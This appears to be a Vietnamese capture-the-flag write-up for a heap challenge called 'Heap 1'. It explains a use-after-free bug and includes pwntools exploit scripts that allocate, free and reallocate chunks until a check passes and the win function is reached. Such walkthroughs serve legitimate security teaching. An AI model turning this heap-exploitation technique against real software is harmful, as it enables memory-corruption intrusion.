Page cover

😫Heap 1

Use after free

Challenge

Overview

Hàm main()

Hàm menu()

Hàm input()

Hàm option2()

Hàm option4()

chứa hàm win

Hàm option1()

Analysis

Tại hàm option4():

Đầu tiên nó sẽ mov giá trị của địa chỉ 0x6020f0 vào thanh ghi rax. Và làm các bước tiếp theo như trên ảnh tôi đã đánh các số tương ứng.

Tức là để thỏa mãn điều kiện trên thì địa chỉ của 0x6020F8 phải chứa giá trị 0xABCDEF.

Do chương trình bị stripped nên tôi sẽ không dùng gdb để phân tích trực tiếp mà tôi sẽ thông qua pwntools.

Script đầu tiên:

from pwn import *
elf = context.binary = ELF("./pwn1_ff")
r = elf.process()
gdb.attach(r, '''
    b*0x400d01\n
    c
''')

def choose(option):
    r.sendlineafter(b">\n", str(option).encode())

def create(size, payload:bytes):
    r.sendlineafter(b"Input size:", str(size).encode())
    r.sendlineafter(b"Input data:", payload)

choose(1)
create(24, p64(0xABCDEF)*5)
choose(1)
create(24, p64(0xABCDEF)*5)
choose(1)
create(24, p64(0xABCDEF)*5)

r.interactive()

Đây là các chunk sau khi tôi gọi hàm option1 3 lần

hàm option1

Sau khi bạn malloc đủ nhiều thì địa chỉ mà ta cần so sánh sẽ nằm trong các chunk. Như ảnh bên dưới thì lần cấp phát thứ 3 đã đè lên địa chỉ đó.

phần data chunk của chunk thứ nhất (option1 lần thứ 3) chứa địa chỉ của chunk liền kề trong lần gọi thứ 3 đó.

Bây giờ tôi sẽ free chunk đó. Sau đó thì cấp phát lại với kích thước tương tự để nó sử dụng địa chỉ chunk vừa được free.

create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
free(2)
Sau khi free thì cả 2 chunk đều được nạp vào fastbins. Phần tôi gạch đỏ là con trỏ (FD) của chunk - là chunk liền trước của nó

Sau khi chunk được cấp phát lại thì địa chỉ 0x6020f0 chứa địa chỉ của chunk thứ 2 chứ không phải chunk đầu tiên như ảnh trên nữa. Và các chunk cũng đổi chỗ cho nhau luôn.

Nhìn vào đoạn code assembly ở option4 để hiểu vì sao tôi lại so sánh giá trị 0x019490b8 thay vì địa chỉ 0x6020f8.

chunk của lần chạy khác (không giống với chunk trên)
Bây giờ địa chỉ mà chúng ta cần so sánh ở option4() đã có giá trị thỏa mãn.

Việc cuối cùng tôi cần làm đó là gọi option4

Okey vậy là thành công (do tôi không có path hợp lí như source nên in ra dòng này, nếu hợp lí thì nó sẽ in ra flag)

Giải thích

Khi gọi lại hàm option1 3 lần thì ta sẽ có những chunk với các địa chỉ sau đây:

Nhìn bằng sơ đồ thì bạn có thể thấy như sau:

Sau khi free 2 chunk cuối cùng bằng option 2:

Và sau khi cấp phát lại bằng 2 lệnh sau

hàm option1

Thì phần dữ liệu đã hoàn toàn bị đảo ngược

Full code:

from pwn import *
elf = context.binary = ELF("./pwn1_ff")
r = elf.process()
gdb.attach(r, '''
    b*0x400d01\n
    c
''')

def create(size, payload:bytes):
    r.sendlineafter(b">\n", str(1).encode())
    r.sendlineafter(b"Input size:", str(size).encode())
    r.sendlineafter(b"Input data:", payload)

def free(index):
    r.sendlineafter(b">\n", str(2).encode())
    r.sendlineafter(b"Input index:", str(index).encode())

create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
free(2)
create(24, p64(0xABCDEF)*5)
r.sendline(str(4).encode())
r.interactive()

Kết luận:

Có thể thấy đây là lỗi useAfterfree (UAF)

Last updated